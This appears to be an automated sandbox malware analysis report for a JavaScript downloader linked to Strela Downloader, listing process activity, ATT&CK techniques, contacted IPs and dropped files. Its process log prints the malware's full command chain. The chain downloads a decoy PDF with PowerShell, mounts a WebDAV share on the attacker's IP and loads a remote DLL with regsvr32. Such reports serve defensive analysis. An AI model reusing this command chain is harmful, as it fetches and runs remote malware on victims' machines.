Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18203107951121827015.js	8%	Virustotal		Browse
18203107951121827015.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1353885390.000002B533320000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2561588799.000002B53348E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
http://193.143.1.205:8888/;	net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 0000000C.00000002.1357042305.000002ADAB918000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/?	net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588675
Start date and time:	2025-01-11 03:59:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18203107951121827015.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 2.23.242.162, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.209.209.135, 23.200.0.209, 23.200.0.177, 23.200.0.186, 23.200.0.196, 23.200.0.173, 13.107.246.45, 4.175.87.197, 23.56.162.204, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:00:40	API Interceptor	22x Sleep call for process: powershell.exe modified
22:00:44	API Interceptor	1x Sleep call for process: net.exe modified
22:00:44	API Interceptor	2x Sleep call for process: svchost.exe modified
23:38:58	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706680458337804
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqE:2JIB/wUKUKQncEmYRTwh0Y
MD5:	83D98739438CAECD6C3851A7C656D35F
SHA1:	EAC5CB383F5635772CEC9BC39FBE2CC88F50B592
SHA-256:	04513D279AAE0B8CB4BCFAFBD14116F329598B1E218F5AB97E85B2E7C21E2FDF
SHA-512:	F158D2148B7FE526AE18189ABA8CCB1F46461228FD2E044F35605D53BA65B4C57AFD4196CBEDE96A2859B9985C0B5DAF3328AB4FAD884CA00CF4D0A22773B325
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1f581d52, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899393414649039
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	CFF8FFA9AA8DF0344F1DCFBE86931B4A
SHA1:	D0CA731C21211121601F0748FC83B0C507E63EB7
SHA-256:	89FDE378B2222E9C38466026E53C39A24FCCADE10C9EB26471C7385D45DDD868
SHA-512:	AEDEDFAFC3191F77B2D6E4FE0BFDD1A729004B09DB0111B80DB133C3E0E40D441F31F15E84F7F29E0AB86FA8AEC9EC47A207A48ACD9D35D173C24AC9731879EF
Malicious:	false
Preview:	.X.R... ...............X\...;...{......................0.`.....42...{5.,....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................`.x,....}..................... ,....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0802887222577841
Encrypted:	false
SSDEEP:	3:b/tKYe+dgGqt/57Dek3J6orNlallEqW3l/TjzzQ/t:b1KzNHR3t6EAmd8/
MD5:	36A09A9C913BD6D5E9701CF5FCFD3352
SHA1:	851AFEA6717A640BBB0BEE2A5D2F55EBDACAB506
SHA-256:	AB189A56701A2BCB954974A80D8B3EF7A8FD9544081601A1841448512BCE0253
SHA-512:	E8163FB64D2F6AD01831887E23ED1A953B7708F3A559E48E20141524E40B6CEFCAB0AB8B32B18395ECEB49ECB2AE3A64C438F214D7751C69978FCEFF3E290124
Malicious:	false
Preview:	...[.....................................;...{..,....}..42...{5.........42...{5.42...{5...Y.42...{59................... ,....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.19574923891837
Encrypted:	false
SSDEEP:	6:iO4qXp0Vq2PcNwi2nKuAl9OmbnIFUtSqXDzgZmwsqXwvCIkwOcNwi2nKuAl9Omb5:7zMvLZHAahFUtns/m54ZHAaSJ
MD5:	FB932FBC9CC530818B2C9237C6B6C58C
SHA1:	3218A3C4193B5231F9D46DA0458B4D78A90E044F
SHA-256:	2F671A8F5DB7FA72ABE464E8A7CCA91201076A908189467047514D9F98931B6C
SHA-512:	346BB489FE73F7A1FEC9794107846038711B00D27B475D35747700F714C9EE5416DA789CBF70CC712C30D0FA3C14CB41938FB51BBE78F6C967EE956A522A5D8E
Malicious:	false
Preview:	2025/01/10-22:00:44.488 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:00:44.539 1d94 Recovering log #3.2025/01/10-22:00:44.540 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.19574923891837
Encrypted:	false
SSDEEP:	6:iO4qXp0Vq2PcNwi2nKuAl9OmbnIFUtSqXDzgZmwsqXwvCIkwOcNwi2nKuAl9Omb5:7zMvLZHAahFUtns/m54ZHAaSJ
MD5:	FB932FBC9CC530818B2C9237C6B6C58C
SHA1:	3218A3C4193B5231F9D46DA0458B4D78A90E044F
SHA-256:	2F671A8F5DB7FA72ABE464E8A7CCA91201076A908189467047514D9F98931B6C
SHA-512:	346BB489FE73F7A1FEC9794107846038711B00D27B475D35747700F714C9EE5416DA789CBF70CC712C30D0FA3C14CB41938FB51BBE78F6C967EE956A522A5D8E
Malicious:	false
Preview:	2025/01/10-22:00:44.488 1d94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:00:44.539 1d94 Recovering log #3.2025/01/10-22:00:44.540 1d94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.146139216496538
Encrypted:	false
SSDEEP:	6:iO4qXyFVOq2PcNwi2nKuAl9Ombzo2jMGIFUtSqXyLBZmwsqXyzKkwOcNwi2nKuAv:7cFAvLZHAa8uFUtGV/wzK54ZHAa8RJ
MD5:	332CC96F99EB35010FDFB1A83BBEFAF0
SHA1:	139DD0F17DE5ED885839D2F49F554E3D76CD6B76
SHA-256:	F827C26CA92E635D8EB7ED462065A2665F3216C66BAC346B3B67B4D65E0AF097
SHA-512:	37590717549227EC026A5C9CEFB80B29EADD684B9ED4B63A004D7538D936C6537BE5EC34C51DBFC11062FCD57D8E7EB774F58EC687F186E8076578E1C085ED8B
Malicious:	false
Preview:	2025/01/10-22:00:44.564 1eb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:00:44.566 1eb0 Recovering log #3.2025/01/10-22:00:44.567 1eb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.146139216496538
Encrypted:	false
SSDEEP:	6:iO4qXyFVOq2PcNwi2nKuAl9Ombzo2jMGIFUtSqXyLBZmwsqXyzKkwOcNwi2nKuAv:7cFAvLZHAa8uFUtGV/wzK54ZHAa8RJ
MD5:	332CC96F99EB35010FDFB1A83BBEFAF0
SHA1:	139DD0F17DE5ED885839D2F49F554E3D76CD6B76
SHA-256:	F827C26CA92E635D8EB7ED462065A2665F3216C66BAC346B3B67B4D65E0AF097
SHA-512:	37590717549227EC026A5C9CEFB80B29EADD684B9ED4B63A004D7538D936C6537BE5EC34C51DBFC11062FCD57D8E7EB774F58EC687F186E8076578E1C085ED8B
Malicious:	false
Preview:	2025/01/10-22:00:44.564 1eb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:00:44.566 1eb0 Recovering log #3.2025/01/10-22:00:44.567 1eb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44aa1f35-820a-4b78-b002-c06dfad2732b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972171568426087
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2HdAcaq3QYiubSpDyP7E4TX:Y2sRdsbdMHt3QYhbSpDa7n7
MD5:	CE1DA7949B90007C719B72822A14DDEB
SHA1:	AC6E3C8212330F826240E13C99A4E747C4B93B3F
SHA-256:	91C53B7E773F5D15065C14B8E8115B3F97105465FE018DF66D0F821DA57D2FA4
SHA-512:	B09C419DC7AFDBCD087C4DA210ECA969469AD819B38272825B9645B5EF19817C1716A6DFBCBBF6425A427C0230400EE3AEFAB7AF02772D8E70259AFE14ACEA12
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124457180717","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":100665},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972171568426087
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2HdAcaq3QYiubSpDyP7E4TX:Y2sRdsbdMHt3QYhbSpDa7n7
MD5:	CE1DA7949B90007C719B72822A14DDEB
SHA1:	AC6E3C8212330F826240E13C99A4E747C4B93B3F
SHA-256:	91C53B7E773F5D15065C14B8E8115B3F97105465FE018DF66D0F821DA57D2FA4
SHA-512:	B09C419DC7AFDBCD087C4DA210ECA969469AD819B38272825B9645B5EF19817C1716A6DFBCBBF6425A427C0230400EE3AEFAB7AF02772D8E70259AFE14ACEA12
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124457180717","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":100665},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231879976382308
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP+OZod:CwNw1GHqPySfkcigoO3h28ytPHZod
MD5:	FD84B1B15E5008659924F1BCD1836CB4
SHA1:	164E73EA48948E10086C01888A0553AA93FDF320
SHA-256:	F56F194FAD013ED7698DE32B38EA092E9E66ADE88327ECAA9B48A669CB3919C6
SHA-512:	06524FBB6A11CB70A8D5E90BA7F13959206ECD126AB44B885AB7F3C199A0B9BD9049DB784BB4515E865FE90F1F84DFD12624C9E477FC1728744219E874DF044A
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.139620177119146
Encrypted:	false
SSDEEP:	6:iO4qXDxIq2PcNwi2nKuAl9OmbzNMxIFUtSqXpxZZmwsqXpxzkwOcNwi2nKuAl9Ob:7vIvLZHAa8jFUt9xZ/bxz54ZHAa84J
MD5:	13F53FA5427F49DB1E1FF7FD122858A6
SHA1:	A19604603F201E1F1A035EA7AD99DBBA0F9D0418
SHA-256:	D893F6B1B7379539738AAE6E621E21652A5214A3DF14631D2E75046F15A0BC6C
SHA-512:	1C646E7B73D0E730408A8AA4B67EC2C5FED7EA9CAD3CA02D7761366AE53423D9DC2E9EA27584A1205F94EDCCB883DDC3B2B8204BA9E6DFFD155A6FFBEFC98D34
Malicious:	false
Preview:	2025/01/10-22:00:44.831 1eb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:00:44.833 1eb0 Recovering log #3.2025/01/10-22:00:44.833 1eb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.139620177119146
Encrypted:	false
SSDEEP:	6:iO4qXDxIq2PcNwi2nKuAl9OmbzNMxIFUtSqXpxZZmwsqXpxzkwOcNwi2nKuAl9Ob:7vIvLZHAa8jFUt9xZ/bxz54ZHAa84J
MD5:	13F53FA5427F49DB1E1FF7FD122858A6
SHA1:	A19604603F201E1F1A035EA7AD99DBBA0F9D0418
SHA-256:	D893F6B1B7379539738AAE6E621E21652A5214A3DF14631D2E75046F15A0BC6C
SHA-512:	1C646E7B73D0E730408A8AA4B67EC2C5FED7EA9CAD3CA02D7761366AE53423D9DC2E9EA27584A1205F94EDCCB883DDC3B2B8204BA9E6DFFD155A6FFBEFC98D34
Malicious:	false
Preview:	2025/01/10-22:00:44.831 1eb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:00:44.833 1eb0 Recovering log #3.2025/01/10-22:00:44.833 1eb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4389666446470475
Encrypted:	false
